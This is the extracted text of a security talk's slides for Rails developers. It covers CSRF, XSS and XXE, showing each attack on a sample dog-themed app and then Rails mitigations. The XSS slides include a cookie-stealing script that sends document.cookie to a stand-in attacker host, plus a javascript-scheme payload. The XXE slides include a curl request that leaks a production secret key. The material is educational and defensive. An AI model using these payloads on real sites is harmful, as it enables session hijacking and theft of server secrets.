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SECURITY Back to Basics

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EILEEN M. UCHITELLE ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes

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Kingston, NY Pittsburgh, PA

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Kingston, NY Pittsburgh, PA Canada Buffalo, NY

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Security, Infrastructure & Performance Team at Basecamp

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OPEN SOURCE Rails Committers Rails Security

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How is security broken?

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• Impossible to test for all possible vulnerabilities How is security broken?

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• Impossible to test for all possible vulnerabilities • Hackers are always one step ahead How is security broken?

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• Impossible to test for all possible vulnerabilities • Hackers are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?

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How did we get here?

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• Failed to enforce web standards How did we get here?

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vs.

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• Failed to enforce web standards • Failed to implement a definition of security How did we get here?

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“...completely failed to come up with even the most rudimentary usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web

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• Failed to enforce web standards • Failed to implement a definition of security • Too few people understand the vulnerabilities How did we get here?

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CSRF

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CSRF Cross-Site Request Forgery

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EXPLOITING CSRF

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ARYA The User

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JESSIE The Hacker ARYA The User

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Name Email Website

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Looks the same, different URL

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Name Email Website

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Name Email Website Jessie’s email

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Name Email Website Auto-submit form

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Name Email Website Auto-submit form to victim site

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Jessie’s email

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How dangerous are CSRF attacks?

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How can we protect
 our users from
 CSRF attacks?

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• Use built-in framework CSRF protection How to mitigate CSRF?

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class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

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Name Email Website CSRF protection

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Caveat: CSRF protection in Rails is order-dependent

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class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end

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class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end Conditional authentication

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class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end

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class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback

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>> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :verify_authenticity_token, :authenticate_for_chat ] Authentication callback is too late in the chain

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class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end

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>> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :authenticate_for_chat, :verify_authenticity_token ] Corrected callback order

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• Use built-in framework CSRF protection • Refresh tokens with the session / don’t reuse tokens How to mitigate CSRF?

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class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url end end Refreshes Authenticity Token

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• Use built-in framework CSRF protection • Refresh tokens with the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?

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XSS

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XSS Cross-Site Scripting

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EXPLOITING STORED XSS

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document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To

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Escaped HTML

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Profile

<%= notice %>

Name: <%= @user.name %>

Email: <%= @user.email %>

Website: <%= link_to('website', @user.website) %>

<%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>

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Profile

<%= notice %>

Name: <%= (@user.name).html_safe %>

Email: <%= @user.email %>

Website: <%= link_to('website', @user.website) %>

<%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To

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JavaScript Scheme

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javascript://example.com/%0Aalert(1)

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example.com/%0Aalert(1) JavaScript Scheme javascript://

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javascript://example.com/%0Aalert(1) URL example.com

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Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

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JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

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How dangerous are XSS attacks?

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How can we protect
 our users from
 XSS attacks?

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• Always escape user-provided data How to mitigate XSS?

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Profile

<%= notice %>

Name: <%= (@user.name).html_safe %>

Email: <%= @user.email %>

Website: <%= link_to('website', @user.website) %>

<%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this

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• Don’t HTML escape user-provided data • Sanitize user-provided data How to mitigate XSS?

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Profile

<%= notice %>

Name: <%= sanitize(@user.name) %>

Email: <%= @user.email %>

Website: <%= link_to('website', @user.website) %>

<%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes

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• Don’t HTML escape user-provided data • Sanitize user-provided data • Validate user-provided data How to mitigate XSS?

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class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https ) validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

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class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https ) validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

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class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https ) validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

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XXE

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XXE XML eXternal Entity Attack

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]> Take a nap Go on a long walk with my hooman &ext1; Take another nap Go to bed

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]> Take a nap Go on a long walk with my hooman &ext1; Take another nap Go to bed Entity reference

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Eat breakfast Bark at the mail carrier

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Take a nap Go on a long walk with my hooman Eat breakfast Bark at the mail carrier Take another nap Go to bed

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EXPLOITING XXE

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class UsersController < ApplicationController def create @user = User.new(user_params) respond_to do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end

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class UsersController < ApplicationController def create @user = User.new(user_params) respond_to do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML

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]> &name;

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]> &name; Requested file

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]> &name; Entity reference

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curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml POST request to users create

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curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml Payload

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curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... secrets.yml as user’s name

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How dangerous are XXE attacks?

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How can we protect
 our servers from
 XXE attacks?

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• Don’t parse XML How to mitigate XXE?

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Don’t parse XML

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• Don’t parse XML • Don’t use parsers that allow entity replacement (LibXML) How to mitigate XXE?

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>> LibXML::XML.default_substitute_entities >> true

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• Don’t parse XML • Don’t use parsers that allow entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?

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Investigate vulnerabilities & patches SECURITY

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GitHub
 eileencodes/security_examples

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owasp.org

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Brakeman

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Resilience & empowerment SECURITY

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Awareness of vulnerabilities SECURITY

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JESSIE The Hacker ARYA The User

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To the future

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Thank You! Come find me for questions and Basecamp stickers

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EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes